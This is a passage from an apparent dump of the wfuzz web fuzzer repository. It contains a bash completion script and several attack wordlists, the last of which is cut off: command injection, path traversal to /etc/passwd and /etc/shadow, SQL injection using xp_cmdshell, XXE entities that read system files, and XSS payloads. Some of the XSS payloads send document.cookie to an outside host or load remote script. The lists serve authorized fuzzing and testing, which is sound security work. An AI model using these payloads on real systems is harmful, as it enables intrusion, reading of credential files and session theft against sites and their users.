    "content": "# wfuzz bash completion file\n# by Xavier Mendez (xavi.mendez@gmail.com) aka Javi\n\n_wfuzz() {\n    \n    COMPREPLY=()\n    local cur prev\n    cur=${COMP_WORDS[COMP_CWORD]}\n    prev=${COMP_WORDS[COMP_CWORD-1]}\n    WFUZZ_EX=\"wfuzz\"\n\n    # Change to your wordlists' base directory\n    WLDIR=$($WFUZZ_EX --ee files)\n    \n    common_options=\"-z[PAYLOAD] --zD[DEFAULT] --zE[ENCODERS] --hc[HIDE_HTTP_CODES] -d[POST_DATA] \"\n\n    case \"$prev\" in\n\t-u)\n\t    COMPREPLY=( $( compgen -W \"http https\" -- $cur ) )\n\t    ;;\n\t-w)\n            COMPREPLY=( $(compgen -W \"$(find $WLDIR -type f -iname \"*.txt\")\" -- $cur) )\n\t    ;;\n\t-w)\n            COMPREPLY=( $(compgen -W \"$(find $WLDIR -type f -iname \"*.txt\")\" -- $cur) )\n\t    ;;\n\t-z)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee payloads)\" -- $cur))\n\t    ;;\n\t-e)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee registrants)\" -- $cur))\n\t    ;;\n\t-m)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee iterators)\" -- $cur))\n\t    ;;\n\t-o)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee printers)\" -- $cur))\n\t    ;;\n\t--script-help)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee scripts)\" -- $cur))\n\t    ;;\n\t--script)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee scripts)\" -- $cur))\n\t    ;;\n\t--field)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee fields)\" -- $cur))\n\t    ;;\n\t--zE)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee encoders)\" -- $cur))\n\t    ;;\n\t-V)\n\t    COMPREPLY=( $( compgen -W \"allvars allpost allheaders\" -- $cur ) )\n\t    ;;\n\t-X)\n\t    COMPREPLY=( $( compgen -W \"FUZZ OPTIONS PUT DELETE POST GET TRACE CONNECT HEAD\" -- $cur ) )\n\t    ;;\n\t--hc)\n\t    COMPREPLY=( $( compgen -W \"400 401 301 302 500 404 200\" -- $cur ) )\n\t    ;;\n\t*)\n\t    COMPREPLY=($(compgen -W \"$($WFUZZ_EX --ee options)\" -- $cur))\n\t    ;;\n    esac\n}\n\ncomplete -F _wfuzz -o default wfuzz\n"
  },
  {
    "path": "wordlist/Injections/All_attack.txt",
    "content": "A\nTRUE\nFALSE\n0\n00\n1\n-1\n1.0\n-1.0\n2\n-2\n-20\n65536\n268435455\n-268435455\n2147483647\n0xfffffff\nNULL\nnull\n\\0\n\\00\n<  script > < / script>\n%0a\n%00\n+%00\n\\0\n\\0\\0\n\\0\\0\\0\n\\00\n\\00\\00\n\\00\\00\\00\n$null\n$NULL\n`id`\n`dir`\n;id;\n;read;\n;netstat -a;\n\\nnetstat -a%\\n\n\\\"blah\n|id|\n&quot;;id&quot;\nid%00\nid%00|\n|id\n|dir\n|dir|\n|ls\n|ls -la\n;ls -la\n;dir\n|/bin/ls -al\n\\n/bin/ls -al\\n\n?x=\n?x=\"\n?x=|\n?x=>\n/index.html|id|\n/boot.ini\n/etc/passwd\n/etc/shadow\nABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|\n../../../../../../../../../../../../etc/hosts%00\n../../../../../../../../../../../../etc/hosts\n../../boot.ini\n/../../../../../../../../%2A\n../../../../../../../../../../../../etc/passwd%00\n../../../../../../../../../../../../etc/passwd\n../../../../../../../../../../../../etc/shadow%00\n../../../../../../../../../../../../etc/shadow\n/../../../../../../../../../../etc/passwd^^\n/../../../../../../../../../../etc/shadow^^\n/../../../../../../../../../../etc/passwd\n/../../../../../../../../../../etc/shadow\n/./././././././././././etc/passwd\n/./././././././././././etc/shadow\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/shadow\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shadow\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\n%0a/bin/cat%20/etc/passwd\n%0a/bin/cat%20/etc/shadow\n%00/etc/passwd%00\n%00/etc/shadow%00\n%00../../../../../../etc/passwd\n%00../../../../../../etc/shadow\n/../../../../../../../../../../../etc/passwd%00.jpg\n/../../../../../../../../../../../etc/passwd%00.html\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t\t25%5c..%25%5c..%255cboot.ini\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini\n\\\\&apos;/bin/cat%20/etc/passwd\\\\&apos;\n\\\\&apos;/bin/cat%20/etc/shadow\\\\&apos;\n../../../../../../../../conf/server.xml\n/../../../../../../../../bin/id|\nC:/inetpub/wwwroot/global.asa\nC:\\inetpub\\wwwroot\\global.asa\nC:/boot.ini\nC:\\boot.ini\n../../../../../../../../../../../../localstart.asp%00\n../../../../../../../../../../../../localstart.asp\n../../../../../../../../../../../../boot.ini%00\n../../../../../../../../../../../../boot.ini\n/./././././././././././boot.ini\n/../../../../../../../../../../../boot.ini%00\n/../../../../../../../../../../../boot.ini\n/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini\n/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n/../../../../../../../../../../../boot.ini%00.html\n/../../../../../../../../../../../boot.ini%00.jpg\n/.../.../.../.../.../\n..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\n%0d%0aX-Injection-Header:%20AttackValue\n!@#0%^#0##018387@#0^^**(()\n%01%02%03%04%0a%0d%0aADSF\n/,%ENV,/\n&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;\n&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;\n%\n#\n*\n}\n;\n/\n\\\n\\\\\n\\\\/\n\\\\\\\\*\n\\\\\\\\?\\\\\n&lt\n&lt;\n&LT\n&LT;\n<\n<<\n<<<\n|\n||\n`\n-\n--\n*|\n^'\n\\'\n/'\n@'\n(')\n{'}\n[']\n*'\n#'\n!'\n!@#$%%^#$%#$@#$%$$@#$%^^**(()\n%01%02%03%04%0a%0d%0aADSF\n\\t\n\"\\t\"\n&#10;\n&#13;\n&#10;&#13;\n&#13;&#10;\n#xD\n#xA\n#xD#xA\n#xA#xD\n/%00/\n%00/\n%00\n<?\n%3C\n%3C%3F\n%60\n%5C\n%5C/\n%7C\n%00\n/%2A\n%2A\n%2C\n%20\n%20|\n%250a\n%2500\n../\n%2e%2e%2f\n..%u2215\n..%c0%af\n..%bg%qf\n..\\\n..%5c\n..%%35c\n..%255c\n..%%35%63\n..%25%35%63\n..%u2216\n&#60\n&#060\n&#0060\n&#00060\n&#000060\n&#0000060\n&#60;\n&#060;\n&#0060;\n&#00060;\n&#000060;\n&#0000060;\n&#x3c\n&#x03c\n&#x003c\n&#x0003c\n&#x00003c\n&#x000003c\n&#x3c;\n&#x03c;\n&#x003c;\n&#x0003c;\n&#x00003c;\n&#x000003c;\n&#X3c\n&#X03c\n&#X003c\n&#X0003c\n&#X00003c\n&#X000003c\n&#X3c;\n&#X03c;\n&#X003c;\n&#X0003c;\n&#X00003c;\n&#X000003c;\n&#x3C\n&#x03C\n&#x003C\n&#x0003C\n&#x00003C\n&#x000003C\n&#x3C;\n&#x03C;\n&#x003C;\n&#x0003C;\n&#x00003C;\n&#x000003C;\n&#X3C\n&#X03C\n&#X003C\n&#X0003C\n&#X00003C\n&#X000003C\n&#X3C;\n&#X03C;\n&#X003C;\n&#X0003C;\n&#X00003C;\n&#X000003C;\n\\x3c\n\\x3C\n\\u003c\n\\u003C\nsomething%00html\n&apos;\n/&apos;\n\\&apos;\n^&apos;\n@&apos;\n{&apos;}\n[&apos;]\n*&apos;\n#&apos;\n\">xxx<P>yyy\n\"><script>\"\n<script>alert(\"XSS\")</script>\n<<script>alert(\"XSS\");//<</script>\n<script>alert(document.cookie)</script>\n'><script>alert(document.cookie)</script>\n'><script>alert(document.cookie);</script>\n\\\";alert('XSS');//\n%3cscript%3ealert(\"XSS\");%3c/script%3e\n%3cscript%3ealert(document.cookie);%3c%2fscript%3e\n%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E\n&ltscript&gtalert(document.cookie);</script>\n&ltscript&gtalert(document.cookie);&ltscript&gtalert\n<xss><script>alert('XSS')</script></vulnerable>\n<IMG%20SRC='javascript:alert(document.cookie)'>\n<IMG SRC=\"javascript:alert('XSS');\">\n<IMG SRC=\"javascript:alert('XSS')\"\n<IMG SRC=javascript:alert('XSS')>\n<IMG SRC=JaVaScRiPt:alert('XSS')>\n<IMG SRC=javascript:alert(&quot;XSS&quot;)>\n<IMG SRC=`javascript:alert(\"'XSS'\")`>\n<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\n<IMG%20SRC='javasc\tript:alert(document.cookie)'>\n<IMG SRC=\"jav\tascript:alert('XSS');\">\n<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">\n<IMG SRC=\" &#14;  javascript:alert('XSS');\">\n<IMG DYNSRC=\"javascript:alert('XSS')\">\n<IMG LOWSRC=\"javascript:alert('XSS')\">\n<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\n'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E\n\"><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script>\n%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}\n'';!--\"<XSS>=&{()}\n\n'\n\"\n#\n-\n--\n' --\n--';\n' ;\n= '\n= ;\n= --\n\\x23\n\\x27\n\\x3D \\x3B'\n\\x3D \\x27\n\\x27\\x4F\\x52 SELECT *\n\\x27\\x6F\\x72 SELECT *\n'or select *\nadmin'--\n<>\"'%;)(&+\n' or ''='\n' or 'x'='x\n\" or \"x\"=\"x\n') or ('x'='x\n0 or 1=1\n' or 0=0 --\n\" or 0=0 --\nor 0=0 --\n' or 0=0 #\n\" or 0=0 #\nor 0=0 #\n' or 1=1--\n\" or 1=1--\n' or '1'='1'--\n\"' or 1 --'\"\nor 1=1--\nor%201=1\nor%201=1 --\n' or 1=1 or ''='\n\" or 1=1 or \"\"=\"\n' or a=a--\n\" or \"a\"=\"a\n') or ('a'='a\n\") or (\"a\"=\"a\nhi\" or \"a\"=\"a\nhi\" or 1=1 --\nhi' or 1=1 --\nhi' or 'a'='a\nhi') or ('a'='a\nhi\") or (\"a\"=\"a\n'hi' or 'x'='x';\n@variable\n,@variable\nPRINT\nPRINT @@variable\nselect\ninsert\nas\nor\nprocedure\nlimit\norder by\nasc\ndesc\ndelete\nupdate\ndistinct\nhaving\ntruncate\nreplace\nlike\nhandler\nbfilename\n' or username like '%\n' or uname like '%\n' or userid like '%\n' or uid like '%\n' or user like '%\nexec xp\nexec sp\n'; exec master..xp_cmdshell\n'; exec xp_regread\nt'exec master..xp_cmdshell 'nslookup www.google.com'--\n--sp_password\n\\x27UNION SELECT\n' UNION SELECT\n' UNION ALL SELECT\n' or (EXISTS)\n' (select top 1\n'||UTL_HTTP.REQUEST\n1;SELECT%20*\nto_timestamp_tz\ntz_offset\n&lt;&gt;&quot;'%;)(&amp;+\n'%20or%201=1\n%27%20or%201=1\n%20$(sleep%2050)\n%20'sleep%2050'\nchar%4039%41%2b%40SELECT\n&apos;%20OR\n'sqlattempt1\n(sqlattempt2)\n|\n%7C\n*|\n%2A%7C\n*(|(mail=*))\n%2A%28%7C%28mail%3D%2A%29%29\n*(|(objectclass=*))\n%2A%28%7C%28objectclass%3D%2A%29%29\n(\n%28\n)\n%29\n&\n%26\n!\n%21\n' or 1=1 or ''='\n' or ''='\nx' or 1=1 or 'x'='y\n/\n//\n//*\n*/*\n@*\ncount(/child::node())\nx' or name()='username' or 'x'='y\n<name>','')); phpinfo(); exit;/*</name>\n<![CDATA[<script>var n=0;while(true){n++;}</script>]]>\n<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><foo><![CDATA[' or 1=1 or ''=']]></foo>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file://c:/boot.ini\">]><foo>&xxe;</foo>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////etc/passwd\">]><foo>&xxe;</foo>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////etc/shadow\">]><foo>&xxe;</foo>\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////dev/random\">]><foo>&xxe;</foo>\n<xml ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>\n<xml ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></xml><SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\n<xml SRC=\"xsstest.xml\" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\n<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>\n"
  },
  {
    "path": "wordlist/Injections/SQL.txt",
    "content": "'\r\n\"\r\n#\r\n-\r\n--\r\n'%20--\r\n--';\r\n'%20;\r\n=%20'\r\n=%20;\r\n=%20--\r\n\\x23\r\n\\x27\r\n\\x3D%20\\x3B'\r\n\\x3D%20\\x27\r\n\\x27\\x4F\\x52 SELECT *\r\n\\x27\\x6F\\x72 SELECT *\r\n'or%20select *\r\nadmin'--\r\n<>\"'%;)(&+\r\n'%20or%20''='\r\n'%20or%20'x'='x\r\n\"%20or%20\"x\"=\"x\r\n')%20or%20('x'='x\r\n0 or 1=1\r\n' or 0=0 --\r\n\" or 0=0 --\r\nor 0=0 --\r\n' or 0=0 #\r\n\" or 0=0 #\r\nor 0=0 #\r\n' or 1=1--\r\n\" or 1=1--\r\n' or '1'='1'--\r\n\"' or 1 --'\"\r\nor 1=1--\r\nor%201=1\r\nor%201=1 --\r\n' or 1=1 or ''='\r\n\" or 1=1 or \"\"=\"\r\n' or a=a--\r\n\" or \"a\"=\"a\r\n') or ('a'='a\r\n\") or (\"a\"=\"a\r\nhi\" or \"a\"=\"a\r\nhi\" or 1=1 --\r\nhi' or 1=1 --\r\nhi' or 'a'='a\r\nhi') or ('a'='a\r\nhi\") or (\"a\"=\"a\r\n'hi' or 'x'='x';\r\n@variable\r\n,@variable\r\nPRINT\r\nPRINT @@variable\r\nselect\r\ninsert\r\nas\r\nor\r\nprocedure\r\nlimit\r\norder by\r\nasc\r\ndesc\r\ndelete\r\nupdate\r\ndistinct\r\nhaving\r\ntruncate\r\nreplace\r\nlike\r\nhandler\r\nbfilename\r\n' or username like '%\r\n' or uname like '%\r\n' or userid like '%\r\n' or uid like '%\r\n' or user like '%\r\nexec xp\r\nexec sp\r\n'; exec master..xp_cmdshell\r\n'; exec xp_regread\r\nt'exec master..xp_cmdshell 'nslookup www.google.com'--\r\n--sp_password\r\n\\x27UNION SELECT\r\n' UNION SELECT\r\n' UNION ALL SELECT\r\n' or (EXISTS)\r\n' (select top 1\r\n'||UTL_HTTP.REQUEST\r\n1;SELECT%20*\r\nto_timestamp_tz\r\ntz_offset\r\n&lt;&gt;&quot;'%;)(&amp;+\r\n'%20or%201=1\r\n%27%20or%201=1\r\n%20$(sleep%2050)\r\n%20'sleep%2050'\r\nchar%4039%41%2b%40SELECT\r\n&apos;%20OR\r\n'sqlattempt1\r\n(sqlattempt2)\r\n|\r\n%7C\r\n*|\r\n%2A%7C\r\n*(|(mail=*))\r\n%2A%28%7C%28mail%3D%2A%29%29\r\n*(|(objectclass=*))\r\n%2A%28%7C%28objectclass%3D%2A%29%29\r\n(\r\n%28\r\n)\r\n%29\r\n&\r\n%26\r\n!\r\n%21\r\n' or 1=1 or ''='\r\n' or ''='\r\nx' or 1=1 or 'x'='y\r\n/\r\n//\r\n//*\r\n*/*\r\n"
  },
  {
    "path": "wordlist/Injections/Traversal.txt",
    "content": "../../../../../../../../../../../../etc/hosts%00\r\n../../../../../../../../../../../../etc/hosts\r\n../../boot.ini\r\n/../../../../../../../../%2A\r\n../../../../../../../../../../../../etc/passwd%00\r\n../../../../../../../../../../../../etc/passwd\r\n../../../../../../../../../../../../etc/shadow%00\r\n../../../../../../../../../../../../etc/shadow\r\n/../../../../../../../../../../etc/passwd^^\r\n/../../../../../../../../../../etc/shadow^^\r\n/../../../../../../../../../../etc/passwd\r\n/../../../../../../../../../../etc/shadow\r\n/./././././././././././etc/passwd\r\n/./././././././././././etc/shadow\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\r\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd\r\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/shadow\r\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd\r\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shadow\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\r\n%0a/bin/cat%20/etc/passwd\r\n%0a/bin/cat%20/etc/shadow\r\n%00/etc/passwd%00\r\n%00/etc/shadow%00\r\n%00../../../../../../etc/passwd\r\n%00../../../../../../etc/shadow\r\n/../../../../../../../../../../../etc/passwd%00.jpg\r\n/../../../../../../../../../../../etc/passwd%00.html\r\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd\r\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow\r\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\r\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow\r\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\r\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\r\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t25%5c..%25%5c..%00\r\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t\t25%5c..%25%5c..%255cboot.ini\r\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini\r\n\\\\&apos;/bin/cat%20/etc/passwd\\\\&apos;\r\n\\\\&apos;/bin/cat%20/etc/shadow\\\\&apos;\r\n../../../../../../../../conf/server.xml\r\n/../../../../../../../../bin/id|\r\nC:/inetpub/wwwroot/global.asa\r\nC:\\inetpub\\wwwroot\\global.asa\r\nC:/boot.ini\r\nC:\\boot.ini\r\n../../../../../../../../../../../../localstart.asp%00\r\n../../../../../../../../../../../../localstart.asp\r\n../../../../../../../../../../../../boot.ini%00\r\n../../../../../../../../../../../../boot.ini\r\n/./././././././././././boot.ini\r\n/../../../../../../../../../../../boot.ini%00\r\n/../../../../../../../../../../../boot.ini\r\n/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini\r\n/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini\r\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00\r\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n/../../../../../../../../../../../boot.ini%00.html\r\n/../../../../../../../../../../../boot.ini%00.jpg\r\n/.../.../.../.../.../\r\n..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini\r\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini"
  },
  {
    "path": "wordlist/Injections/XML.txt",
    "content": "count(/child::node())\r\nx' or name()='username' or 'x'='y\r\n<name>','')); phpinfo(); exit;/*</name>\r\n<![CDATA[<script>var n=0;while(true){n++;}</script>]]>\r\n<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><foo><![CDATA[' or 1=1 or ''=']]></foo>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file://c:/boot.ini\">]><foo>&xxe;</foo>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////etc/passwd\">]><foo>&xxe;</foo>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////etc/shadow\">]><foo>&xxe;</foo>\r\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:////dev/random\">]><foo>&xxe;</foo>\r\n<xml ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>\r\n<xml ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></xml><SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\r\n<xml SRC=\"xsstest.xml\" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\r\n<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>\r\n"
  },
  {
    "path": "wordlist/Injections/XSS.txt",
    "content": "\"><script>\"\r\n<script>alert(\"WXSS\")</script>\r\n<<script>alert(\"WXSS\");//<</script>\r\n<script>alert(document.cookie)</script>\r\n'><script>alert(document.cookie)</script>\r\n'><script>alert(document.cookie);</script>\r\n\\\";alert('XSS');//\r\n%3cscript%3ealert(\"WXSS\");%3c/script%3e\r\n%3cscript%3ealert(document.cookie);%3c%2fscript%3e\r\n%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E\r\n&ltscript&gtalert(document.cookie);</script>\r\n&ltscript&gtalert(document.cookie);&ltscript&gtalert\r\n<xss><script>alert('WXSS')</script></vulnerable>\r\n<IMG%20SRC='javascript:alert(document.cookie)'>\r\n<IMG%20SRC=\"javascript:alert('WXSS');\">\r\n<IMG%20SRC=\"javascript:alert('WXSS')\"\r\n<IMG%20SRC=javascript:alert('WXSS')>\r\n<IMG%20SRC=JaVaScRiPt:alert('WXSS')>\r\n<IMG%20SRC=javascript:alert(&quot;WXSS&quot;)>\r\n<IMG%20SRC=`javascript:alert(\"'WXSS'\")`>\r\n<IMG%20\"\"\"><SCRIPT>alert(\"WXSS\")</SCRIPT>\">\r\n<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>\r\n<IMG%20SRC='javasc\tript:alert(document.cookie)'>\r\n<IMG%20SRC=\"jav\tascript:alert('WXSS');\">\r\n<IMG%20SRC=\"jav&#x09;ascript:alert('WXSS');\">\r\n<IMG%20SRC=\"jav&#x0A;ascript:alert('WXSS');\">\r\n<IMG%20SRC=\"jav&#x0D;ascript:alert('WXSS');\">\r\n<IMG%20SRC=\"%20&#14;%20javascript:alert('WXSS');\">\r\n<IMG%20DYNSRC=\"javascript:alert('WXSS')\">\r\n<IMG%20LOWSRC=\"javascript:alert('WXSS')\">\r\n<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>\r\n<IMG%20SRC=&